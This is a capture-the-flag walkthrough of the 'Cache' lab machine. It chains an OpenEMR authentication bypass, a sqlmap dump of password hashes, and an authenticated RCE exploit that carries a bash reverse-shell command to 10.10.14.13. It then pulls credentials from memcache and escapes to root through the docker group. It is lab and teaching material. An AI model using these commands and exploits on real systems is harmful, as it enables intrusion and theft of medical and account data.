Accidental Subdomain Enum

Port 80 reveals a blog like website:

There's not much here, but we can add cache.htb to our /etc/hosts file since there's a banner for it on screen. I ran a gobuster and wfuzz scan on the machine. Funnily, I accidentally had a typo in my wfuzz command, and found a completely new domain present:

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host:FUZZ.htb' --hw=973 -u http://cache.htb  /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

hms.htb is active on this machine. We can visit that.

OpenEMR

The page shows us a login for OpenEMR, which is known to have a ton of vulnerabilities:

We can head to the Github Repo for this software and attempt to find its version using the default files present:

GitHub - openemr/openemr: The most popular open source electronic health records and medical practice management solution.GitHub

Visiting sql_patch.php reveals that this is OpenEMR 5.0.1:

This version has quite a few RCE exploits for it:

$ searchsploit openemr 5.0.1
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path

OpenEMR 5.0.1 - 'controller' Remote Code Execution         | php/webapps/48623.txt

OpenEMR 5.0.1.3 - Authentication Bypass                    | php/webapps/50017.py

There's also an authentication bypass exploit here:

OpenEMR 5.0.1.3 - Authentication BypassExploit Database

To bypass it, all we have to do is simply visit /portal/account/register.php, and it would treat us as logged in with a valid token. Searching for exploits led me to a PDF that had the vulnerability report for v5.0.1.3, and there are lot including a lot of SQL Injections.

Firstly, visiting /portal/find_appt_popup_user.php just works as we have 'bypassed' the login.

For this case, the second PoC listed works best.

Using sqlmap, we can enumerate and view the stuff in the database. (skipped the enumeration)

$ sqlmap -r req -D openemr -T users_secure --dump
Table: users_secure

We can crack this hash in john.

Now that we have the admin password, we can do RCE.

OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)Exploit Database

Remember to use python2.

$ python2 45161.py -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.13/4444 0>&1' http://hms.htb

Privilege Escalation

Ash Creds

I searched all the files within /var/www except for OpenEMR for credentials:

www-data@cache:/var/www/cache.htb/public_html$ grep -iRl 'Password' ./
./login.html
./index.html
./jquery/functionality.js

So here's the stuff within that file:

www-data@cache:/var/www/cache.htb/public_html$ cat ./jquery/functionality.js
$(function(){
    
    var error_correctPassword = false;
    var error_username = false;
    
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;

Using that password, we can su to ash.

Memcache

When we enumerate the ports that are open, we can see that port 11211 is listening:

ash@cache:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

<TRUNCATED>

This is the memcache service.

We can enumerate the items within it:

ash@cache:~$ echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211 
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

We can grab the password and su to luffy.

ash@cache:~$ echo "get passwd" | nc -vn -w 1 127.0.0.1 11211         
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
VALUE passwd 0 9

END

Docker Group

luffy is part of the docker group.

luffy@cache:/home/ash$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:/home/ash$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        3 years ago         64.2MB

We can just run this command to create an Ubuntu container that is mounted on the main file system, where we have access to the container as root. This effectively gives us root access to the main file system to make /bin/bash an SUID binary.

luffy@cache:/home/ash$ docker run -it --rm -v /:/mnt ubuntu chroot /mnt bash
root@ee809b31a278:/# id
uid=0(root) gid=0(root) groups=0(root)
root@ee809b31a278:/# cd root
root@ee809b31a278:~# ls
root.txt  run.sh  should_work
root@ee809b31a278:~# chmod u+s /bin/bash

Then we can exit this and get a shell with EUID of root.
